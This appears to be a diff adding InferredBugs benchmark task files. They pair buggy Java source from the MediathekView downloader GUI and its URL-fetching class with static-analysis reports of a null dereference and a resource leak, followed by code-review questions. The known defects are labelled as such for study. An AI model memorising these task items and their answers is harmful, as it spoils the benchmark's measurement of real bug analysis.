+                Starts s = ddaten.starterClass.getStart(jTable1.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+                if (s != null) {
+                    if (s.status <= Starts.STATUS_RUN) {
+                        wartenOderLaufen = true;
+                    }
+                }
+            }
+            JMenuItem itemStarten = new JMenuItem("Download starten");
+            itemStarten.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_play_16.png")));
+            itemStarten.setEnabled(!wartenOderLaufen);
+            menu.add(itemStarten);
+            itemStarten.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(true /* starten */);
+                }
+            });
+            JMenuItem itemStoppen = new JMenuItem("Download stoppen");
+            itemStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            itemStoppen.setEnabled(wartenOderLaufen);
+            menu.add(itemStoppen);
+            itemStoppen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    filmStartenWiederholenStoppen(false /* starten */);
+                }
+            });
+            //#######################################
+            menu.addSeparator();
+            //#######################################
+            JMenuItem itemLoeschen = new JMenuItem("Download zurückstellen");
+            itemLoeschen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/undo_16.png")));
+            menu.add(itemLoeschen);
+            itemLoeschen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadLoeschen(false /* dauerhaft */);
+                }
+            });
+            //dauerhaft löschen
+            JMenuItem itemDauerhaftLoeschen = new JMenuItem("Download dauerhaft löschen");
+            itemDauerhaftLoeschen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/del_16.png")));
+            menu.add(itemDauerhaftLoeschen);
+            itemDauerhaftLoeschen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadLoeschen(true /* dauerhaft */);
+                }
+            });
+            //ändern
+            JMenuItem itemAendern = new JMenuItem("Download Ändern");
+            itemAendern.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/configure_16.png")));
+            menu.add(itemAendern);
+            itemAendern.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadAendern();
+                }
+            });
+            //#######################################
+            menu.addSeparator();
+            //#######################################
+            JMenuItem itemAlleStarten = new JMenuItem("alle Downloads starten");
+            itemAlleStarten.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/next_16.png")));
+            menu.add(itemAlleStarten);
+            itemAlleStarten.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    downloadAll("");
+                }
+            });
+            JMenuItem itemAlleStoppen = new JMenuItem("alle Downloads stoppen");
+            itemAlleStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            menu.add(itemAlleStoppen);
+            itemAlleStoppen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    stopAll();
+                }
+            });
+            JMenuItem itemWartendeStoppen = new JMenuItem("wartende Downloads stoppen");
+            itemWartendeStoppen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/player_stop_16.png")));
+            menu.add(itemWartendeStoppen);
+            itemWartendeStoppen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    stopWartende();
+                }
+            });
+            JMenuItem itemAktualisieren = new JMenuItem("Liste der Downloads aktualisieren");
+            itemAktualisieren.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/view-refresh_16.png")));
+            menu.add(itemAktualisieren);
+            itemAktualisieren.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    akualisieren();
+                }
+            });
+            JMenuItem itemAufraeumen = new JMenuItem("Liste Aufräumen");
+            itemAufraeumen.setIcon(new javax.swing.ImageIcon(getClass().getResource("/mediathek/res/edit-clear_16.png")));
+            menu.add(itemAufraeumen);
+            itemAufraeumen.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent arg0) {
+                    aufraeumen();
+                }
+            });
+            //#######################################
+            menu.addSeparator();
+            //#######################################
+            //url
+            JMenuItem itemUrl = new JMenuItem("URL kopieren");
+            itemUrl.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    int nr = jTable1.rowAtPoint(p);
+                    if (nr >= 0) {
+                        GuiFunktionen.copyToClipboard(
+                                jTable1.getModel().getValueAt(jTable1.convertRowIndexToModel(nr),
+                                DatenDownload.DOWNLOAD_URL_NR).toString());
+                    }
+                }
+            });
+            menu.add(itemUrl);
+            //Infos
+            JMenuItem itemInfo = new JMenuItem("Infos anzeigen");
+            itemInfo.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    dialogDatenFilm.setVis();
+                }
+            });
+            menu.add(itemInfo);
+            //Player
+            JMenuItem itemPlayer = new JMenuItem("Film abspielen");
+            itemPlayer.addActionListener(new ActionListener() {
+
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    int nr = jTable1.rowAtPoint(p);
+                    if (nr >= 0) {
+                        DatenPset gruppe = ddaten.listePset.getPsetAbspielen();
+                        if (gruppe != null) {
+                            int selectedModelRow = jTable1.convertRowIndexToModel(nr);
+                            DatenFilm film = Daten.listeFilme.getFilmByUrl(jTable1.getModel().getValueAt(selectedModelRow, DatenDownload.DOWNLOAD_URL_NR).toString());
+                            if (film != null) {
+                                // in die History eintragen
+                                ddaten.history.add(film.getUrlOrg());
+                                // und starten
+                                ddaten.starterClass.urlStarten(gruppe, film);
+                            }
+                        } else {
+                            JOptionPane.showMessageDialog(null, "Im Menü unter \"Datei->Optionen->Videoplayer\" ein Programm zum Abspielen festlegen.",
+                                    "kein Videoplayer!", JOptionPane.INFORMATION_MESSAGE);
+                        }
+                    }
+                }
+            });
+            menu.add(itemPlayer);
+            //Menü anzeigen
+            menu.show(evt.getComponent(), evt.getX(), evt.getY());
+        }
+    }
+
+    private class BeobAbstractAction extends AbstractAction {
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            downloadAendern();
+        }
+    }
+
+    private class BeobAnzeige implements ActionListener {
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            load();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `GuiDownloads.jTable1.getModel().getValueAt(delRow,7)` could be null and is dereferenced at line 184.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GuiDownloads.downloadLoeschen(boolean)
+
+### Procedure Id:
+mediathek.gui.GuiDownloads.downloadLoeschen(boolean):void.a71a3ec3efbdf0818498ea192700462e
+
+### File:
+src/mediathek/gui/GuiDownloads.java
+
+### Key:
+GuiDownloads.java|downloadLoeschen|NULL_DEREFERENCE
+
+### Node Key:
+9651bb3fa853002c439350544f30f896
+
+### Hash:
+5704b6c9a1228b36b144271d05934ac5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8939/instruction.md b/inferredbugs-8939/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..02fb63cf6ba231cc5e46602ac60f670396badf10
--- /dev/null
+++ b/inferredbugs-8939/instruction.md
@@ -0,0 +1,378 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  MediathekView
+ *  Copyright (C) 2008 W. Xaver
+ *  W.Xaver[at]googlemail.com
+ *  http://zdfmediathk.sourceforge.net/
+ *
+ *  This program is free software: you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation, either version 3 of the License, or
+ *  any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.controller.io;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.Proxy;
+import java.net.SocketAddress;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.Iterator;
+import java.util.LinkedList;
+import mediathek.daten.Daten;
+import mediathek.tool.Konstanten;
+import mediathek.tool.Log;
+
+public class GetUrl {
+
+    public static final int LISTE_SEITEN_ZAEHLER = 1;
+    public static final int LISTE_SEITEN_ZAEHLER_FEHlER = 2;
+    public static final int LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE = 3;
+    public static final int LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE = 4;
+    public static final int LISTE_SUMME_BYTE = 5;
+    private static final long UrlWartenBasis = 500;//ms, Basiswert zu dem dann der Faktor multipliziert wird
+    private int faktorWarten = 1;
+    private int timeout = 10000;
+    private long wartenBasis = UrlWartenBasis;
+    private static LinkedList<Seitenzaehler> listeSeitenZaehler = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerFehler = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerFehlerVersuche = new LinkedList<Seitenzaehler>();
+    private static LinkedList<Seitenzaehler> listeSeitenZaehlerWartezeitFehlerVersuche = new LinkedList<Seitenzaehler>(); // Wartezeit für Wiederholungen [s]
+    private static LinkedList<Seitenzaehler> listeSummeByte = new LinkedList<Seitenzaehler>(); // Summe Daten in Byte für jeden Sender
+
+    private class Seitenzaehler {
+
+        String senderName = "";
+        long seitenAnzahl = 0;
+
+        public Seitenzaehler(String ssenderName) {
+            senderName = ssenderName;
+            seitenAnzahl = 1;
+        }
+
+        public Seitenzaehler(String ssenderName, int sseitenAnzahl) {
+            senderName = ssenderName;
+            seitenAnzahl = sseitenAnzahl;
+        }
+    }
+
+    public GetUrl(long wwartenBasis) {
+        wartenBasis = wwartenBasis;
+    }
+
+    //===================================
+    // public
+    //===================================
+    public StringBuffer getUri_Utf(String sender, String addr, StringBuffer seite, String meldung) {
+        return getUri(sender, addr, Konstanten.KODIERUNG_UTF, 1 /* versuche */, seite, meldung);
+    }
+
+    public StringBuffer getUri_Iso(String sender, String addr, StringBuffer seite, String meldung) {
+        return getUri(sender, addr, Konstanten.KODIERUNG_ISO15, 1 /* versuche */, seite, meldung);
+    }
+
+    public synchronized StringBuffer getUri(String sender, String addr, String kodierung, int maxVersuche, StringBuffer seite, String meldung) {
+        final int PAUSE = 1000;
+//        int aktTimeout = (maxVersuche > 1) ? timeout / 2 : timeout; // wenns mehrere Versuche gibt, dann der erste mit verkürztem Timeout
+        int aktTimeout = timeout;
+        int aktVer = 0;
+        int wartezeit;
+        boolean letzterVersuch;
+        do {
+            ++aktVer;
+            try {
+//                if (aktVer >= maxVersuche) {
+//                    // der letzte Versuch mit dem vollen Timeout
+//                    aktTimeout = timeout;
+//                }
+                if (aktVer > 1) {
+                    // und noch eine Pause vor dem nächsten Versuch
+                    this.wait(PAUSE);
+                }
+                letzterVersuch = (aktVer >= maxVersuche) ? true : false;
+                seite = getUri(sender, addr, seite, kodierung, aktTimeout, meldung, maxVersuche, letzterVersuch);
+                if (seite.length() > 0) {
+                    // und nix wie weiter 
+                    if (Daten.debug && aktVer > 1) {
+                        String text = sender + " [" + aktVer + "/" + maxVersuche + "] ~~~> " + addr;
+                        Log.systemMeldung(text);
+                    }
+                    // nur dann zählen
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER, sender, 1);
+                    return seite;
+                } else {
+                    // hat nicht geklappt
+                    if (aktVer > 1) {
+                        wartezeit = (aktTimeout + PAUSE);
+                    } else {
+                        wartezeit = (aktTimeout);
+                    }
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE, sender, wartezeit / 1000);
+                    incSeitenZaehler(LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE, sender, 1);
+                    if (letzterVersuch) {
+                        // dann wars leider nichts
+                        incSeitenZaehler(LISTE_SEITEN_ZAEHLER_FEHlER, sender, 1);
+                    }
+                }
+            } catch (Exception ex) {
+                Log.fehlerMeldung(698963200, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, sender);
+            }
+        } while (!Daten.filmeLaden.getStop() && aktVer < maxVersuche);
+        return seite;
+    }
+
+    public synchronized void getDummy(String sender) {
+        // Dummy zum hochzählen des Seitenzählers
+        incSeitenZaehler(LISTE_SEITEN_ZAEHLER, sender, 1);
+    }
+
+    public void setTimeout(int ttimeout) {
+        timeout = ttimeout;
+    }
+
+    public int getTimeout() {
+        return timeout;
+    }
+
+    public static long getSeitenZaehler(int art, String sender) {
+        long ret = 0;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        Seitenzaehler sz;
+        while (it.hasNext()) {
+            sz = it.next();
+            if (sz.senderName.equals(sender)) {
+                ret = sz.seitenAnzahl;
+            }
+        }
+        if (art == LISTE_SUMME_BYTE) {
+            // Byte in MByte
+            ret = ret / 1024 / 1024;
+        }
+        return ret;
+    }
+
+    public static synchronized long getSeitenZaehler(int art) {
+        long ret = 0;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        while (it.hasNext()) {
+            ret += it.next().seitenAnzahl;
+        }
+        if (art == LISTE_SUMME_BYTE) {
+            // Byte in MByte
+            ret = ret / 1024 / 1024;
+        }
+        return ret;
+    }
+
+    public static synchronized void resetZaehler() {
+        listeSeitenZaehler.clear();
+        listeSeitenZaehlerFehler.clear();
+        listeSeitenZaehlerFehlerVersuche.clear();
+        listeSeitenZaehlerWartezeitFehlerVersuche.clear();
+        listeSummeByte.clear();
+    }
+
+    //===================================
+    // private
+    //===================================
+    private static LinkedList<Seitenzaehler> getListe(int art) {
+        switch (art) {
+            case LISTE_SEITEN_ZAEHLER:
+                return listeSeitenZaehler;
+            case LISTE_SEITEN_ZAEHLER_FEHLERVERSUCHE:
+                return listeSeitenZaehlerFehlerVersuche;
+            case LISTE_SEITEN_ZAEHLER_FEHlER:
+                return listeSeitenZaehlerFehler;
+            case LISTE_SEITEN_ZAEHLER_WARTEZEIT_FEHLVERSUCHE:
+                return listeSeitenZaehlerWartezeitFehlerVersuche;
+            case LISTE_SUMME_BYTE:
+                return listeSummeByte;
+            default:
+                return null;
+        }
+    }
+
+    private synchronized void incSeitenZaehler(int art, String sender, int inc) {
+        boolean gefunden = false;
+        LinkedList<Seitenzaehler> liste = getListe(art);
+        Iterator<Seitenzaehler> it = liste.iterator();
+        Seitenzaehler sz;
+        while (it.hasNext()) {
+            sz = it.next();
+            if (sz.senderName.equals(sender)) {
+                sz.seitenAnzahl += inc;
+                gefunden = true;
+                break;
+            }
+        }
+        if (!gefunden) {
+            liste.add(new Seitenzaehler(sender, inc));
+        }
+    }
+
+    private synchronized StringBuffer getUri(String sender, String addr, StringBuffer seite, String kodierung, int timeout, String meldung, int versuch, boolean lVersuch) {
+        int timeo = timeout;
+        boolean proxyB = false;
+        char[] zeichen = new char[1];
+        seite.setLength(0);
+        URLConnection conn;
+        int code = 0;
+        InputStream in = null;
+        InputStreamReader inReader = null;
+        Proxy proxy = null;
+        SocketAddress saddr = null;
+        // immer etwas bremsen
+        try {
+            long w = wartenBasis * faktorWarten;
+            this.wait(w);
+        } catch (Exception ex) {
+            Log.fehlerMeldung(976120379, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, sender);
+        }
+        try {
+            URL url = new URL(addr);
+            // conn = url.openConnection(Proxy.NO_PROXY);
+            conn = url.openConnection();
+            conn.setRequestProperty("User-Agent", Daten.getUserAgent());
+            if (timeout > 0) {
+                conn.setReadTimeout(timeout);
+                conn.setConnectTimeout(timeout);
+            }
+            if (conn instanceof HttpURLConnection) {
+                HttpURLConnection httpConnection = (HttpURLConnection) conn;
+                code = httpConnection.getResponseCode();
+//                if (code >= 400) {
+//                    if (true) {
+//                        // wenn möglich, einen Proxy einrichten
+//                        Log.fehlerMeldung(236597125, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "---Proxy---");
+//                        proxyB = true;
+//                        saddr = new InetSocketAddress("localhost", 9050);
+//                        proxy = new Proxy(Proxy.Type.SOCKS, saddr);
+//                        conn = url.openConnection(proxy);
+//                        conn.setRequestProperty("User-Agent", Daten.getUserAgent());
+//                        if (timeout > 0) {
+//                            conn.setReadTimeout(timeout);
+//                            conn.setConnectTimeout(timeout);
+//                        }
+//                    } else {
+//                        Log.fehlerMeldung(864123698, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "returncode >= 400");
+//                    }
+//                }
+            } else {
+                Log.fehlerMeldung(949697315, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", "keine HTTPcon");
+            }
+            in = conn.getInputStream();
+            inReader = new InputStreamReader(in, kodierung);
+            while (!Daten.filmeLaden.getStop() && inReader.read(zeichen) != -1) {
+                seite.append(zeichen);
+                incSeitenZaehler(LISTE_SUMME_BYTE, sender, 1);
+            }
+        } catch (IOException ex) {
+            if (lVersuch) {
+                String[] text;
+                if (meldung.equals("")) {
+                    text = new String[]{sender + " - timout: " + timeo + " Versuche: " + versuch, addr /*, (proxyB ? "Porxy - " : "")*/};
+                } else {
+                    text = new String[]{sender + " - timout: " + timeo + " Versuche: " + versuch, addr, meldung/*, (proxyB ? "Porxy - " : "")*/};
+                }
+                Log.fehlerMeldung(502739817, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, text);
+            }
+        } catch (Exception ex) {
+            Log.fehlerMeldung(973969801, Log.FEHLER_ART_GETURL, GetUrl.class.getName() + ".getUri", ex, "");
+        } finally {
+            try {
+                if (in != null) {
+                    inReader.close();
+                }
+            } catch (IOException ex) {
+            }
+        }
+        return seite;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `getInputStream()` at line 275 is not released after line 296.
+**Note**: potential exception at line 276
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StringBuffer GetUrl.getUri(String,String,StringBuffer,String,int,String,int,boolean)
+
+### Procedure Id:
+mediathek.controller.io.GetUrl.getUri(java.lang.String,java.lang.String,java.lang.StringBuffer,java..132bd5d2f6152705ad5fe590013f92d5
+
+### File:
+src/mediathek/controller/io/GetUrl.java
+
+### Key:
+GetUrl.java|getUri|RESOURCE_LEAK
+
+### Node Key:
+44599c87e83680e0a6bc09b4cb3a71a9
+
+### Hash:
+af6652a1e51b8781bcfa65ef304ef398
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8953/instruction.md b/inferredbugs-8953/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1bd8e215e763505e93108f911ea745929b777b81
--- /dev/null
+++ b/inferredbugs-8953/instruction.md
@@ -0,0 +1,939 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MediathekView
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * MediathekView
+ * Copyright (C) 2008 W. Xaver
+ * W.Xaver[at]googlemail.com
+ * http://zdfmediathk.sourceforge.net/
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+package mediathek.gui;
+
+import java.awt.Component;
+import java.awt.Desktop;
+import java.awt.Point;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.awt.event.KeyEvent;
+import java.awt.event.MouseAdapter;
+import java.awt.event.MouseEvent;
+import java.io.File;
+import java.util.ArrayList;
+import javax.swing.AbstractAction;
+import javax.swing.ActionMap;
+import javax.swing.InputMap;
+import javax.swing.JMenuItem;
+import javax.swing.JOptionPane;
+import javax.swing.JPopupMenu;
+import javax.swing.KeyStroke;
+import javax.swing.event.ListSelectionEvent;
+import javax.swing.event.ListSelectionListener;
+import mediathek.MediathekGui;
+import mediathek.controller.filmeLaden.ListenerFilmeLaden;
+import mediathek.controller.filmeLaden.ListenerFilmeLadenEvent;
+import mediathek.controller.io.starter.Start;
+import mediathek.daten.DDaten;
+import mediathek.daten.Daten;
+import mediathek.daten.DatenDownload;
+import mediathek.daten.DatenFilm;
+import mediathek.daten.DatenPset;
+import mediathek.gui.dialog.DialogDatenFilm;
+import mediathek.gui.dialog.DialogEditDownload;
+import mediathek.gui.dialog.DialogProgrammOrdnerOeffnen;
+import mediathek.tool.BeobMpanel;
+import mediathek.tool.CellRendererDownloads;
+import mediathek.tool.Datum;
+import mediathek.tool.GuiFunktionen;
+import mediathek.tool.GuiKonstanten;
+import mediathek.tool.HinweisKeineAuswahl;
+import mediathek.tool.JTableMed;
+import mediathek.tool.Konstanten;
+import mediathek.tool.ListenerMediathekView;
+import mediathek.tool.Log;
+import mediathek.tool.TModelDownload;
+
+public class GuiDownloads extends PanelVorlage {
+
+    private DialogDatenFilm dialogDatenFilm = null;
+
+    public GuiDownloads(DDaten d, Component parentComponent) {
+        super(d, parentComponent);
+        initComponents();
+        tabelle = new JTableMed(JTableMed.TABELLE_TAB_DOWNLOADS);
+        jScrollPane1.setViewportView(tabelle);
+        dialogDatenFilm = new DialogDatenFilm(null, false, ddaten);
+        init();
+        downloadsAktualisieren(); // die Tabelle wird dabei gleich geladen
+        tabelle.initTabelle();
+        if (tabelle.getRowCount() > 0) {
+            tabelle.setRowSelectionInterval(0, 0);
+        }
+    }
+    //===================================
+    //public
+    //===================================
+
+    @Override
+    public void isShown() {
+        super.isShown();
+        ddaten.mediathekGui.setToolbar(MediathekGui.ButtonDonwload);
+        ddaten.infoPanel.setIdx(InfoPanel.IDX_GUI_DOWNLOAD);
+    }
+
+    public void aktualisieren() {
+        downloadsAktualisieren();
+    }
+
+    public void starten(boolean alle) {
+        filmStartenWiederholenStoppen(alle, true /* starten */);
+    }
+
+    public void stoppen(boolean alle) {
+        filmStartenWiederholenStoppen(alle, false /* starten */);
+    }
+
+    public void vorziehen() {
+        downloadVorziehen();
+    }
+
+    public void zurueckstellen() {
+        downloadLoeschen(false);
+    }
+
+    public void loeschen() {
+        downloadLoeschen(true);
+    }
+
+    public void aufraeumen() {
+        downloadsAufraeumen();
+    }
+
+    public void aendern() {
+        downloadAendern();
+    }
+
+    //===================================
+    //private
+    //===================================
+    private void init() {
+        jRadioButtonAbos.setForeground(GuiKonstanten.ABO_FOREGROUND);
+        jRadioButtonDownloads.setForeground(GuiKonstanten.DOWNLOAD_FOREGROUND);
+        tabelle.setDefaultRenderer(Object.class, new CellRendererDownloads(ddaten));
+        tabelle.setDefaultRenderer(Datum.class, new CellRendererDownloads(ddaten));
+        tabelle.setModel(new TModelDownload(new Object[][]{}, DatenDownload.DOWNLOAD_COLUMN_NAMES));
+        tabelle.addMouseListener(new BeobMausTabelle());
+        tabelle.getSelectionModel().addListSelectionListener(new BeobachterTableSelect());
+        //aendern
+        ActionMap am = tabelle.getActionMap();
+        InputMap im = tabelle.getInputMap();
+        //aendern
+        am.put("aendern", new BeobAbstractActionAendern());
+        KeyStroke enter = KeyStroke.getKeyStroke(KeyEvent.VK_ENTER, 0);
+        im.put(enter, "aendern");
+        //
+        jRadioButtonAlles.addActionListener(new BeobAnzeige());
+        jRadioButtonAbos.addActionListener(new BeobAnzeige());
+        jRadioButtonDownloads.addActionListener(new BeobAnzeige());
+        jCheckBoxFilter.addActionListener(new BeobMpanel(jCheckBoxFilter, jPanelFilter, "Filter"));
+        ListenerMediathekView.addListener(new ListenerMediathekView(ListenerMediathekView.EREIGNIS_LISTE_DOWNLOADS, GuiDownloads.class.getSimpleName()) {
+            @Override
+            public void ping() {
+                tabelleLaden();
+            }
+        });
+        ListenerMediathekView.addListener(new ListenerMediathekView(ListenerMediathekView.EREIGNIS_ART_DOWNLOAD_PROZENT, GuiDownloads.class.getSimpleName()) {
+            @Override
+            public void ping() {
+                tabelle.fireTableDataChanged(true /*setSpalten*/);
+                setInfo();
+                //panelUpdate();
+            }
+        });
+        DDaten.filmeLaden.addAdListener(new ListenerFilmeLaden() {
+            @Override
+            public void fertig_(ListenerFilmeLadenEvent event) {
+                if (Boolean.parseBoolean(Daten.system[Konstanten.SYSTEM_ABOS_SOFORT_SUCHEN_NR])) {
+                    downloadsAktualisieren();
+                }
+            }
+        });
+        ListenerMediathekView.addListener(new ListenerMediathekView(ListenerMediathekView.EREIGNIS_LISTE_ABOS, GuiDownloads.class.getSimpleName()) {
+            @Override
+            public void ping() {
+                if (Boolean.parseBoolean(Daten.system[Konstanten.SYSTEM_ABOS_SOFORT_SUCHEN_NR])) {
+                    downloadsAktualisieren();
+                }
+            }
+        });
+        ListenerMediathekView.addListener(new ListenerMediathekView(ListenerMediathekView.EREIGNIS_START_EVENT, GuiDownloads.class.getSimpleName()) {
+            @Override
+            public void ping() {
+                tabelle.fireTableDataChanged(true /*setSpalten*/);
+                setInfo();
+            }
+        });
+    }
+
+    private synchronized void tabelleLaden() {
+        // nur Downloads die schon in der Liste sind werden geladen
+        boolean abo, download;
+        tabelle.getSpalten();
+        if (jRadioButtonAlles.isSelected()) {
+            abo = true;
+            download = true;
+        } else if (jRadioButtonAbos.isSelected()) {
+            abo = true;
+            download = false;
+        } else {
+            abo = false;
+            download = true;
+        }
+        ddaten.listeDownloads.getModel((TModelDownload) tabelle.getModel(), abo, download);
+        tabelle.setSpalten();
+        setInfo();
+    }
+
+    private synchronized void downloadsAktualisieren() {
+        // erledigte entfernen, nicht gestartete Abos entfernen und neu nach Abos suchen
+        downloadsAufraeumen();
+        ddaten.listeDownloads.zurueckgestellteWiederAktivieren();
+        ddaten.listeDownloads.abosLoschenWennNochNichtGestartet();
+        ddaten.listeDownloads.abosSuchen();
+        tabelleLaden();
+    }
+
+    private synchronized void downloadsAufraeumen() {
+        // abgeschlossene Downloads werden aus der Tabelle/Liste entfernt
+        // die Starts dafür werden auch gelöscht
+        ddaten.listeDownloads.listePutzen();
+    }
+
+    private synchronized void downloadAendern() {
+        int row = tabelle.getSelectedRow();
+        if (row != -1) {
+            int delRow = tabelle.convertRowIndexToModel(row);
+            String url = tabelle.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+            DatenDownload d = download.getCopy();
+            DialogEditDownload dialog = new DialogEditDownload(null, true, d);
+            dialog.setVisible(true);
+            if (dialog.ok) {
+                download.aufMichKopieren(d);
+                tabelle.getSelected();
+                tabelleLaden();
+                tabelle.setSelected();
+            }
+        } else {
+            new HinweisKeineAuswahl().zeigen(parentComponent);
+        }
+    }
+
+    private void downloadVorziehen() {
+        int row = tabelle.getSelectedRow();
+        if (row != -1) {
+            int delRow = tabelle.convertRowIndexToModel(row);
+            String url = tabelle.getModel().getValueAt(delRow, DatenDownload.DOWNLOAD_URL_NR).toString();
+            ddaten.listeDownloads.downloadVorziehen(url);
+            tabelleLaden();
+        } else {
+            new HinweisKeineAuswahl().zeigen(parentComponent);
+        }
+    }
+
+    private void zielordnerOeffnen() {
+        boolean gut = false;
+        File sFile = null;
+        int row = tabelle.getSelectedRow();
+        if (row >= 0) {
+            String url = tabelle.getModel().getValueAt(tabelle.convertRowIndexToModel(row), DatenDownload.DOWNLOAD_URL_NR).toString();
+            DatenDownload download = ddaten.listeDownloads.getDownloadByUrl(url);
+            String s = download.arr[DatenDownload.DOWNLOAD_ZIEL_PFAD_NR];
+            if (!s.endsWith(File.separator)) {
+                s += File.separator;
+            }
+            try {
+                sFile = new File(s);
